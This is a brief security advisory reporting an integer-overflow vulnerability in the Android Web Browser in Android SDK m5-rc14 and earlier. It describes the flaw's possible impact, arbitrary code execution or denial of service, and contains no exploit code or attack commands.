Android Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data.
Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.
This issue affects Android SDK m5-rc14 and earlier.
